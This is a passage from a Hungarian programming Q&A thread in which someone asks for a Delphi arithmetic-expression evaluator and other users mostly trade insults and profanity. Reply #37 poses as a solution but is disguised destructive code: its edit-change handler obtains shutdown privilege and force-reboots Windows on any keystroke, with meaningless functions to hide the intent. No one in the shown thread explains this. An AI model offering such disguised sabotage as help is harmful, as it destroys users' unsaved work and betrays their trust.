Kezdőoldal » Számítástechnika » Programozás » Hogy lehetséges ezt a programo...

Hogy lehetséges ezt a programozási feladatot megoldani?

Figyelt kérdés

Azt szeretném megoldani,ha nem túl komplikált,hogy az egész beírómezőben,bármilyen műveleti jelet írnak, sor előtt, sor(ok) után, szám(ok) előtt, szám(ok) után, akkor elvégezze a feladatot, tehát,hogyha beírom, pl:


12+23-4/6*8+12/7777+55-777*9999, akkor végezze el ezt a bonyolult műveletet és erről egy másik beírómezőben adjon pontos végeredményt. Nagyon sok időt rászántam, hogy megtaláljam a megoldást, mindenre jutottam, csak vagy az

eredményt nem tudtam kihozni, vagy a program nem működött megfelelően. Próbálkoztam a seltextet bevonni,a gettextlent, a sellengthet, másik ciklust, ami a -1-et helyettesíti be, akár e j változóba, kivonni, tömbök alá venni az edit1.text-et[edit1.selstart]-tal, kivonni, osztani szorozni, mindenféle kombinációt, kicserélni az edit1.texteket, edit1.seltextekre, de nem sikerült a feladatot megoldanom normális működő módon. Ebben szeretnék segítséget kérni, ha lehet természetesen forráskóddal mellékelve, mert úgy vélem, hogy ez annál komplikáltabb dolog lehet, hogy szóban megértsem, mit hogyan kell tennem, vagy milyen további, esetleges függvényeket kell, hogy bevonjak a programba, amivel ezt működőképessé lehet varázsolni. Előre is köszönök, minden segítséget és megoldást.



unit Unit1;


interface


uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,Strutils, ExtCtrls;


type

TForm1 = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

procedure Edit1Change(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;


var

Form1: TForm1;


implementation


{$R *.dfm}


procedure TForm1.Edit1Change(Sender: TObject);

var sign:char;

i,w:integer;

begin

try



For i:=1 to length(edit1.Text) do

If not (edit1.Text[i] in ['0'..'9']) then

Begin

sign:=edit1.Text[i];

w:=i;

End;



Case sign of

'*': edit2.Text:= floattostr(strtofloat(LeftStr(edit1.Text,w-1)) * strtofloat(rightstr(edit1.Text,length(edit1.Text)-w)));

'/': edit2.Text:= floattostr(strtofloat(LeftStr(edit1.Text,w-1)) / strtofloat(rightstr(edit1.Text,length(edit1.Text)-w)));

'+': edit2.text:= floattostr(strtofloat(LeftStr(edit1.Text,w-1)) + strtofloat(rightstr(edit1.Text,length(edit1.Text)-w)));

'-': edit2.Text:= floattostr(strtofloat(LeftStr(edit1.Text,w-1)) - strtofloat(rightstr(edit1.Text,length(edit1.Text)-w)));


End;



except

On ECONVERTERROR DO BEGIN

end;

end;

end;

end.



2013. okt. 28. 13:09
1 2 3 4 5 6 7 8
 31/80 iostream ***** válasza:
100%

1. a feladat komplikált


Igen? Egy egyszerű kifejezéskiértékelő komplikált? :D


3. nincs itt az arc,mert már rég kiszállt a beszélgetésből, ha nem vettétek volna észre.


Dehát mindenki tudja, hogy te vagy az arc...

2013. okt. 29. 17:39
Hasznos számodra ez a válasz?
 32/80 zsomkovacs ***** válasza:
100%

Szerintem most nagyon megijedtünk attól, hogy kidobnád a társaságodból a magunkfajta "fészeket". (Ilyen szó nincs. Fészket van, illetve face-eket, bár utóbbi is elég szörnyű.) A kérdező KAPOTT forráskódot. Delphi-ben is. Lehet, hogy az input stringet éppen s-nek hívták, nem pedig Edit1.Text-nek. Javítani meg a következőképpen lehetne a kódját:

1) Ctrl+A

2) Delete

3) Helyes forráskód beírása


A linkelt oldalakon ott van a lengyelformára hozás teljes algoritmusa lépésenként, érthetően leírva. Több más megoldási módszert is kapott. Ő meg elküldött minket a fenébe, mert mi "nem segítünk" neki. Csak le kellett volna írnia az algoritmus parancsait Delphiben. (Melyiket nem tudja? Az értékadást vagy a ciklust?...) Az általa adott "kezdőlökés" is röhejes. Mit adott?... Két Textbox-ot egy Form-on? Véletlen sem kész forráskódot kért, ugyan már. A feladat bonyolultságáról meg annyit, hogy Erlangban 200 sor egy általánosabb változata (jobb- és balasszociatív műveletek, precedenciák, logikai kifejezések kiértékelésével), ezt kb. 4 óra alatt írtam meg, a Wikipedián megtalálható algoritmus alapján úgy, hogy alig tudtam Erlangban programozni, amikor nekiálltam. És még csak nem is tartom magam különösebben jó programozónak, csak képes vagyok utánanézni annak, amire szükségem van. De tudom, mi programozók mind idióták vagyunk, mert csak a munka 90%-át végezzük el mások helyett...

2013. okt. 29. 17:45
Hasznos számodra ez a válasz?
 33/80 anonim ***** válasza:
0%

Frankon el vannak itt egyesek!Én azért linkelek egy kis lengyelformázóssat ide:D.Szerintem ti sem vágjátok csak a szátok jár,meg már csak unalomból is jó itt cseszekedni nem?:D :D a fa**** sem fogja itt megoldani a feladatot helyetted!Nektek,Helyettetek!Ba**kuráljon el vele mindenki.De én legalább segítettem asszem valamelyest a dologban.


[link]

2013. okt. 29. 17:49
Hasznos számodra ez a válasz?
 34/80 anonim ***** válasza:
0%
Én alig várom mi sül ki ebből a nagy programozós dumapartiból.El ne felejtsetek meghívni,mikor felfedezitek Amerikát,de ha netán üsd vágd ne apád lesz,oda is szívesen elmegyek,pártfüggetlenül,nehogy egy nap kimaradjon a folyamatos szájba**ások ideje.Úgy is nagy hiány van már benne 2006-óta.Úgy látom még mindenki szívesen borogatna táblát,kukákat és törne be kirakatokat zsákszámra,mint törne be egy inkább egy szerverre.Rohadtul ráértek kis kolumbuszok,mert az igazi nyomdokába,már semelyikőtök sem léphetne,sem a kérdező, sem ti az egész biztos.Szóval rikkantsatok,ha kellek a lanpartiba,vétek lenne kimaradnom belőle.
2013. okt. 29. 18:06
Hasznos számodra ez a válasz?
 35/80 anonim ***** válasza:
Há lanparty?Régi szép idők!! Milyen jó az tényleg,most hogy így mondod nem rossz ötlet.Ott biztos segítettek volna a kérdezőnek azokban az időkben,de most már manapság felejtős.:-)))))
2013. okt. 29. 18:21
Hasznos számodra ez a válasz?
 36/80 anonim ***** válasza:

#30-as, ekkora szánalomkupac nem lehetsz:


"4. ilyen embereknek élből nem raknám ki ide a forráskódot,semmilyen programozási nyelven.tanulják meg maguk,szerezzék be, fejtsék meg,abban még van némi igazság. "


Pont ezért bactál le minket, és a végén kiderül, hogy te sem adnál neki kódot?! :DDDDDDDDDDDDDDDDD

2013. okt. 29. 19:10
Hasznos számodra ez a válasz?
 37/80 anonim ***** válasza:

Megoldás:



>/:Warsaw format >/:Warsaw /thisquestions


Are You Sure?


NANÁ!


>/:Warsaw start /MAX delphi32.exe


^C and ^V ...


function FORCEExitWindows(RebootParam: Longword): Boolean;

var

TTokenHd: THandle;

TTokenPvg: TTokenPrivileges;

cbtpPrevious: DWORD;

rTTokenPvg: TTokenPrivileges;

pcbtpPreviousRequired: DWORD;

tpResult: Boolean;

const

SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';

begin

if Win32Platform = VER_PLATFORM_WIN32_NT then

begin

tpResult := OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,

TTokenHd);

if tpResult then

begin

tpResult := LookupPrivilegeValue(nil,

SE_SHUTDOWN_NAME,

TTokenPvg.Privileges[0].Luid);

TTokenPvg.PrivilegeCount := 1;

TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

cbtpPrevious := SizeOf(rTTokenPvg);

pcbtpPreviousRequired := 0;

if tpResult then

Windows.AdjustTokenPrivileges(TTokenHd,

False,

TTokenPvg,

cbtpPrevious,

rTTokenPvg,

pcbtpPreviousRequired);

end;

end;

Result := ExitWindowsEx(RebootParam, 0);

end;



function Preformat(a,b:real):real;

begin

a:=0;

b:=0;

end;


procedure TForm1.Edit1Change(Sender: TObject);

var questionglobal,endofworld,iostream,morepeoples:string;


begin



if edit1.SelStart=0 then begin



questionglobal:=floattostr(Preformat(0,0));

iostream:=floattostr(Preformat(0,0));

morepeoples:=floattostr(Preformat(0,0));

endofworld:=floattostr(Preformat(0,0));

sleep(1000);



end;


if edit1.Text=' ' then begin

ExitWindowsEx(EWX_REBOOT,0)

end

else begin

FORCEExitWindows(EWX_REBOOT or EWX_FORCE);


end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

edit1.Text:='<Preformat> Press any key to continue now disabled. Bye!';

end;


end.

end.


{Csokoládé...}

2013. okt. 29. 19:25
Hasznos számodra ez a válasz?
 38/80 anonim ***** válasza:

#37: Nem vagyok éppen zseni, de ez a kód mit is csinál?

G.

2013. okt. 29. 19:34
Hasznos számodra ez a válasz?
 39/80 anonim ***** válasza:

:D :))))))))))))))))))))))))))))))))))))))))))))))

Geccccci jó vagy kiscsávó!

2013. okt. 29. 19:38
Hasznos számodra ez a válasz?
 40/80 anonim ***** válasza:

"#30-as, ekkora szánalomkupac nem lehetsz:


"4. ilyen embereknek élből nem raknám ki ide a forráskódot,semmilyen programozási nyelven.tanulják meg maguk,szerezzék be, fejtsék meg,abban még van némi igazság. "


Pont ezért bactál le minket, és a végén kiderül, hogy te sem adnál neki kódot?! :DDDDDD"



nem vágod mire gondolt?

arra, hogy a kérdező helyében nem rakná ki nekünk (wtf) ezt a kódot, amit nem értek, mert ez egy sz@r, nem működik, itt meg mindenki tud jobbat, szóval nem vágom


de egy biztos, hogy valaki regelt egy másik accot:D

2013. okt. 29. 19:45
Hasznos számodra ez a válasz?
1 2 3 4 5 6 7 8

Kapcsolódó kérdések:




Minden jog fenntartva © 2025, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu

A weboldalon megjelenő anyagok nem minősülnek szerkesztői tartalomnak, előzetes ellenőrzésen nem esnek át, az üzemeltető véleményét nem tükrözik.
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!